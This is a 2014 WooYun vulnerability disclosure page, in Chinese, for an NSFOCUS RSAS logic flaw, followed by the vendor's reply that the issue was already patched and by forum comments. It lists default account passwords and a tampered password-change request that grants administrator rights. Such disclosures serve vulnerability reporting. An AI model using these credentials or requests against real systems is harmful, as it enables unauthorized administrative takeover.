当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066244

漏洞标题：绿盟远程安全评估系统逻辑漏洞直接进入管理通杀之一

相关厂商：绿盟科技

漏洞作者： 路人甲

提交时间：2014-06-26 08:24

修复时间：2014-06-26 13:50

公开时间：2014-06-26 13:50

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-26： 细节已通知厂商并且等待厂商处理中
2014-06-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

漏洞如下.

详细说明：

默认2个帐号：reporter，auditor密码是nsfocus。
用普通帐号登陆，修改密码处，

.png


user%5Baccount%5D=admin&user%5Bname%5D=Admin&user%5Bpassword%5D=admin123&user%5Bpassword.confirm%5D=admin123&user%5Bmail%5D=admin%40example.com&user%5Broles%5D=ADMINISTRATORS&user%5BallowLoginIp%5D=*.*.*.*&user%5BallowScanIp%5D=*.*.*.*&user%5BmaxTask%5D=150


1 处修改ADMINISTRATORS
2 处修改 帐号 admin 就可以了。
最后即可admin登陆。

漏洞证明：

如上

修复方案：

程序开发人员修改下。加上码。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-26 13:50

厂商回复：

谢谢告知。由于没有告知具体设备版本号，经过研发人员排查，此漏洞为已知漏洞，影响RSAS 5.0.8.13及以前版本，已在RSAS v 5.0.9.0版本中修复，2011-09-22升级包发布。
目前RSAS V5最新版本5.0.13以及RSAS V6均不受此漏洞影响。
如能告知发现此问题的设备的具体版本号，我们可做进一步的排查确认，非常感谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-26 08:30 | 松子 ( 实习白帽子 | Rank:45 漏洞数:5 | 无事)

    前排

  2. 2014-06-26 08:32 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究，工业数据采集...)

    坐等

  3. 2014-06-26 08:36 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    看洞

  4. 2014-06-26 08:38 | 洛丽潞丽 ( 路人 | Rank:22 漏洞数:4 | 专注殴打GOV30年)

    之一

  5. 2014-06-26 08:56 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    我预测此贴必火

  6. 2014-06-26 08:57 | 无力落地の白 ( 实习白帽子 | Rank:48 漏洞数:19 | 新人)

    谁的马甲？

  7. 2014-06-26 09:03 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    呵呵了，这要火啊

  8. 2014-06-26 09:08 | blackexp ( 实习白帽子 | Rank:36 漏洞数:13 | 一点一点的渗透到...)

    围观

  9. 2014-06-26 09:11 | 计算姬 ( 普通白帽子 | Rank:398 漏洞数:90 | 看我看我看我啊)

    呵呵，该不会就是那个提权吧。

  10. 2014-06-26 09:22 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    呵呵

  11. 2014-06-26 09:40 | Vty ( 普通白帽子 | Rank:199 漏洞数:37 )

    我那个擦！

  12. 2014-06-26 09:41 | qwerty ( 普通白帽子 | Rank:116 漏洞数:16 | 已注销)

    莫非洞主要出个系列？

  13. 2014-06-26 09:41 | 红蛰祭 ( 路人 | Rank:0 漏洞数:1 | 彪悍的人生不需要解释)

    这。。。

  14. 2014-06-26 09:44 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    啧啧

  15. 2014-06-26 09:44 | v0yager_1ce ( 路人 | Rank:2 漏洞数:1 )

    @计算姬 怎么讲？

  16. 2014-06-26 10:05 | 晓埃 ( 路人 | Rank:4 漏洞数:5 | 小牛一枚)

    卖瓜子！

  17. 2014-06-26 10:22 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    我爱你！

  18. 2014-06-26 10:47 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    NB

  19. 2014-06-26 10:54 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    我去，这是谁的马甲。。。。！

  20. 2014-06-26 11:04 | 黑云 ( 路人 | Rank:12 漏洞数:3 | 米有)

    等

  21. 2014-06-26 11:08 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    @计算姬 看起来你很了解RSAS呢

  22. 2014-06-26 11:14 | 计算姬 ( 普通白帽子 | Rank:398 漏洞数:90 | 看我看我看我啊)

    @v0yager_1ce @铁蛋火车侠 求大锅们放过，别爱特我了。坐等公开。

  23. 2014-06-26 11:18 | onlycjeg ( 实习白帽子 | Rank:38 漏洞数:5 | 我就看看,我不说话.)

    小板凳..

  24. 2014-06-26 11:20 | 洛丽潞丽 ( 路人 | Rank:22 漏洞数:4 | 专注殴打GOV30年)

    只翻到些隐秘文件，坐等公开

  25. 2014-06-26 11:21 | 革命往事 ( 路人 | Rank:17 漏洞数:2 | 革命已成往事)

    大绿盟也扛不住了

  26. 2014-06-26 11:34 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    马扎

  27. 2014-06-26 12:01 | 葱油饼 ( 路人 | Rank:22 漏洞数:2 | 那啥，卖早点的)

    围观！！！！！

  28. 2014-06-26 13:09 | RcSalah ( 路人 | Rank:0 漏洞数:2 | 懂点pyhon,懂点c++,懂点点安全)

    啤酒 炸鸡

  29. 2014-06-26 15:14 | 无力落地の白 ( 实习白帽子 | Rank:48 漏洞数:19 | 新人)

    都散了吧 误报

  30. 2014-06-26 15:51 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    这尼玛"之一"真吓人呵呵

  31. 2014-06-27 11:38 | w5r2 ( 普通白帽子 | Rank:226 漏洞数:52 )

    @绿盟科技 产品型号 : Standard产品版本 : 5.0.10.83插件总数 : 1883漏洞总数 : 12149你们最新的产品基本没人买，都是旧的在升级插件而已。

  32. 2014-06-27 11:39 | w5r2 ( 普通白帽子 | Rank:226 漏洞数:52 )

    @绿盟科技 发现可以操作好多，具体不多说。自己看着办！

  33. 2015-06-02 11:46 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @w5r2 RSAS之前就出了6.0的版本了哈。路人甲是大牛你吗

  34. 2015-06-02 16:00 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    @wefgod 一定是的